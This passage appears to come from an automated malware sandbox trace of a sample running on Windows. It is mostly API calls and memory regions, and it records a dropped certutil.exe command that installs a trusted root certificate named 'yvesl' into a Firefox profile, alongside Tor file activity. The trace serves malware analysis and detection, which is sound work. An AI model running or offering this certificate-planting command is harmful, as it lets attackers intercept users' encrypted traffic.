IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.967] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 3026722 [0122.995] _open (_FileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\tor\\cached-microdescs.new" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\tor\\cached-microdescs.new"), _OpenFlag=33025) returned 4 [0122.995] _lseek (_FileHandle=4, _Offset=0, _Origin=2) returned 3196107 Thread: id = 167 os_tid = 0x8bc Thread: id = 168 os_tid = 0x8b0 Thread: id = 172 os_tid = 0x8ac Thread: id = 173 os_tid = 0x8a8 Thread: id = 179 os_tid = 0x900 Process: id = "15" image_name = "certutil.exe" filename = "c:\\users\\adu0vk~1\\appdata\\local\\temp\\certutil.exe" page_root = "0x40d91000" os_pid = "0x8e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x65c" cmd_line = "\"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe\" -A -n \"yvesl\" -t \"C,C,C\" -i \"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt\" -d \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\"" cur_dir = "C:\\Windows\\system32\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6656 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 6657 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 6658 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 6659 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 6660 start_va = 0x170000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 6661 start_va = 0x300000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 6662 start_va = 0xce0000 end_va = 0xcfcfff entry_point = 0xce0000 region_type = mapped_file name = "certutil.exe" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\certutil.exe") Region: id = 6663 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6664 start_va = 0x77720000 end_va = 0x7789ffff entry_point = 0x77720000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6665 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 6666 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 6667 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 6668 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 6669 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 6670 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6671 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6672 start_va = 0x500000 end_va = 0x57ffff entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 6673 start_va = 0x73c40000 end_va = 0x73c9bfff entry_point = 0x73c7f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6674 start_va = 0x73ca0000 end_va = 0x73cdefff entry_point = 0x73ccde78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6675 start_va = 0x73d10000 end_va = 0x73d17fff entry_point = 0x73d120f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 7217 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7218 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 7219 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7220 start_va = 0x2c0000 end_va = 0x2cffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 7221 start_va = 0x680000 end_va = 0x77ffff entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 7222 start_va = 0x73640000 end_va = 0x73706fff entry_point = 0x73640000 region_type = mapped_file name = "nss3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nss3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nss3.dll") Region: id = 7223 start_va = 0x73b80000 end_va = 0x73c3efff entry_point = 0x73b80000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\msvcr100.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\msvcr100.dll") Region: id = 7224 start_va = 0x74070000 end_va = 0x7408bfff entry_point = 0x74070000 region_type = mapped_file name = "smime3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\smime3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\smime3.dll") Region: id = 7225 start_va = 0x74090000 end_va = 0x740c6fff entry_point = 0x74090000 region_type = mapped_file name = "libnspr4.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libnspr4.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\libnspr4.dll") Region: id = 7226 start_va = 0x74830000 end_va = 0x74849fff entry_point = 0x74830000 region_type = mapped_file name = "nssutil3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssutil3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nssutil3.dll") Region: id = 7227 start_va = 0x748e0000 end_va = 0x74911fff entry_point = 0x748e37f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 7228 start_va = 0x74930000 end_va = 0x74936fff entry_point = 0x74930000 region_type = mapped_file name = "libplds4.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libplds4.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\libplds4.dll") Region: id = 7229 start_va = 0x74a10000 end_va = 0x74a16fff entry_point = 0x74a11120 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" (normalized: "c:\\windows\\syswow64\\wsock32.dll") Region: id = 7230 start_va = 0x74b70000 end_va = 0x74babfff entry_point = 0x74b7145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 7231 start_va = 0x75250000 end_va = 0x75256fff entry_point = 0x75250000 region_type = mapped_file name = "libplc4.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\libplc4.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\libplc4.dll") Region: id = 7232 start_va = 0x75270000 end_va = 0x7527bfff entry_point = 0x752710e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 7233 start_va = 0x75280000 end_va = 0x752dffff entry_point = 0x7529a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 7234 start_va = 0x75440000 end_va = 0x7552ffff entry_point = 0x75450569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 7235 start_va = 0x757e0000 end_va = 0x758dffff entry_point = 0x757fb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 7236 start_va = 0x75970000 end_va = 0x75988fff entry_point = 0x75974975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 7237 start_va = 0x75ab0000 end_va = 0x75b3ffff entry_point = 0x75ac6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 7238 start_va = 0x75cd0000 end_va = 0x75cd5fff entry_point = 0x75cd1782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 7239 start_va = 0x75d10000 end_va = 0x75dbbfff entry_point = 0x75d1a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 7240 start_va = 0x75dc0000 end_va = 0x75ecffff entry_point = 0x75dd32d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 7241 start_va = 0x76dd0000 end_va = 0x76e04fff entry_point = 0x76dd145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 7242 start_va = 0x76fe0000 end_va = 0x76fe9fff entry_point = 0x76fe36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 7243 start_va = 0x77130000 end_va = 0x77175fff entry_point = 0x77137478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 7244 start_va = 0x77180000 end_va = 0x7721cfff entry_point = 0x771b3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 7245 start_va = 0x77280000 end_va = 0x7731ffff entry_point = 0x772949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 7246 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x0 region_type = private name = "private_0x0000000077320000" filename = "" Region: id = 7247 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x0 region_type = private name = "private_0x0000000077440000" filename = "" Region: id = 7248 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7249 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7263 start_va = 0x780000 end_va = 0x907fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 7264 start_va = 0x75bc0000 end_va = 0x75c8bfff entry_point = 0x75bc168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 7265 start_va = 0x76f80000 end_va = 0x76fdffff entry_point = 0x76f9158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 7266 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 7267 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7268 start_va = 0x290000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 7269 start_va = 0x910000 end_va = 0xa90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000910000" filename = "" Region: id = 7270 start_va = 0xd00000 end_va = 0x20fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 7271 start_va = 0x120000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 7272 start_va = 0xac0000 end_va = 0xbbffff entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 7273 start_va = 0x2100000 end_va = 0x23cefff entry_point = 0x2100000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7274 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 7275 start_va = 0x440000 end_va = 0x47ffff entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7276 start_va = 0x580000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 7277 start_va = 0x24d0000 end_va = 0x25cffff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 7278 start_va = 0x2710000 end_va = 0x280ffff entry_point = 0x0 region_type = private name = "private_0x0000000002710000" filename = "" Region: id = 7279 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 7280 start_va = 0x74040000 end_va = 0x7406cfff entry_point = 0x74040000 region_type = mapped_file name = "softokn3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\softokn3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\softokn3.dll") Region: id = 7281 start_va = 0x73b10000 end_va = 0x73b7afff entry_point = 0x73b10000 region_type = mapped_file name = "sqlite3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\sqlite3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\sqlite3.dll") Region: id = 7282 start_va = 0x25d0000 end_va = 0x26cffff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 7347 start_va = 0x74020000 end_va = 0x7403dfff entry_point = 0x74020000 region_type = mapped_file name = "nssdbm3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\nssdbm3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\nssdbm3.dll") Region: id = 7348 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0xe0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 7349 start_va = 0xf0000 end_va = 0xf6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 7350 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 7351 start_va = 0x2810000 end_va = 0x2c02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002810000" filename = "" Region: id = 7352 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0xe0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 7353 start_va = 0x73f00000 end_va = 0x73f3dfff entry_point = 0x73f00000 region_type = mapped_file name = "freebl3.dll" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\freebl3.dll" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\freebl3.dll") Region: id = 7354 start_va = 0x75fe0000 end_va = 0x76c29fff entry_point = 0x76061601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 7355 start_va = 0x76f10000 end_va = 0x76f66fff entry_point = 0x76f29ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Thread: id = 178 os_tid = 0x8ec [0118.915] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0118.915] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsAlloc") returned 0x75dd4f2b [0118.915] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsGetValue") returned 0x75dd1252 [0118.915] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsSetValue") returned 0x75dd4208 [0118.915] GetProcAddress (hModule=0x75dc0000, lpProcName="FlsFree") returned 0x75dd359f [0118.916] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75dc0000 [0118.916] GetCurrentThreadId () returned 0x8ec [0118.916] GetStartupInfoW (in: lpStartupInfo=0x3ff5c8 | out: lpStartupInfo=0x3ff5c8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x73b91f36, hStdOutput=0x73b9bb59, hStdError=0x2907d0)) [0118.916] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0118.916] GetFileType (hFile=0x3) returned 0x2 [0118.916] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0118.916] GetFileType (hFile=0x7) returned 0x2 [0118.916] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0118.916] GetFileType (hFile=0xb) returned 0x2 [0118.916] SetHandleCount (uNumber=0x20) returned 0x20 [0118.916] GetEnvironmentStringsW () returned 0x6949b8* [0118.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1385, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1385 [0118.917] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1385, lpMultiByteStr=0x2911f8, cbMultiByte=1385, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1385 [0118.917] FreeEnvironmentStringsW (penv=0x6949b8) returned 1 [0118.917] GetCommandLineA () returned="\"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe\" -A -n \"yvesl\" -t \"C,C,C\" -i \"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt\" -d \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\"" [0118.917] GetCommandLineW () returned="\"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\certutil.exe\" -A -n \"yvesl\" -t \"C,C,C\" -i \"C:\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\okguaxb.crt\" -d \"C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\"" [0118.917] GetLastError () returned 0x0 [0118.917] SetLastError (dwErrCode=0x0) [0118.917] GetLastError () returned 0x0 [0118.917] SetLastError (dwErrCode=0x0) [0118.917] GetLastError () returned 0x0 [0118.917] SetLastError (dwErrCode=0x0) [0118.917] GetACP () returned 0x4e4 [0118.917] GetLastError () returned 0x0 [0118.917] SetLastError (dwErrCode=0x0) [0118.917] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.917] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3ff5b0 | out: lpCPInfo=0x3ff5b0) returned 1 [0118.917] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x3ff07c | out: lpCPInfo=0x3ff07c) returned 1 [0118.917] GetLastError () returned 0x0 [0118.917] SetLastError (dwErrCode=0x0) [0118.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ff490, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ff490, cbMultiByte=256, lpWideCharStr=0x3fedf8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḬἊ掟玹Ā") returned 256 [0118.917] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḬἊ掟玹Ā", cchSrc=256, lpCharType=0x3ff090 | out: lpCharType=0x3ff090) returned 1 [0118.917] GetLastError () returned 0x0 [0118.917] SetLastError (dwErrCode=0x0) [0118.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ff490, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.917] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ff490, cbMultiByte=256, lpWideCharStr=0x3fedc8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ憱玹Ā") returned 256 [0118.917] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ憱玹Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.917] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ憱玹Ā", cchSrc=256, lpDestStr=0x3febb8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0118.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x3ff390, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 